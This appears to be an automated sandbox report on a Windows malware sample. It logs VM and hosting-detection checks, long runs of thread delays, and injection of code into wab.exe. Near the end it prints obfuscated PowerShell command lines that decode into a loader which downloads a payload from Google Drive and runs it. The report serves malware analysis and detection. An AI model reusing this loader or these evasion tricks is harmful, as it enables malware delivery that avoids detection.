Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 25BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Memory allocated: 25B20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599654	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599324	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598873	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598644	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597997	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597670	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597557	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595550	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595306	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594849	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594496	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6547	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3260	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6017	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3840	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 5220	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 4609	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep count: 6017 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep count: 3840 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3656	Thread sleep count: 5220 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599654s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3656	Thread sleep count: 4609 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599436s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599324s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599217s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598873s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598644s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598218s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597997s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597670s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597557s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595550s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595306s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594849s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594496s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594390s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1692	Thread sleep time: -594281s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Program Files (x86)\Windows Mail\wab.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wab.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599654	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599324	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598873	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598644	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597997	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597670	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597557	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595550	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595306	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594849	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594496	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: wscript.exe, 00000001.00000003.1462009599.00000171CE2FF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1463253642.00000171CE389000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPu9
Source: powershell.exe, 00000003.00000002.2461093933.0000018939B30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: wscript.exe, 00000001.00000002.1463808181.00000171D0433000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000001.00000002.1463735069.00000171D0391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000001.00000003.1462529160.00000171D0433000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}W
Source: wscript.exe, 00000001.00000002.1463388260.00000171D0280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 9_2_07B72FBC LdrInitializeThunk,LdrInitializeThunk,

9_2_07B72FBC

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4460000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2EFFCFC			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst 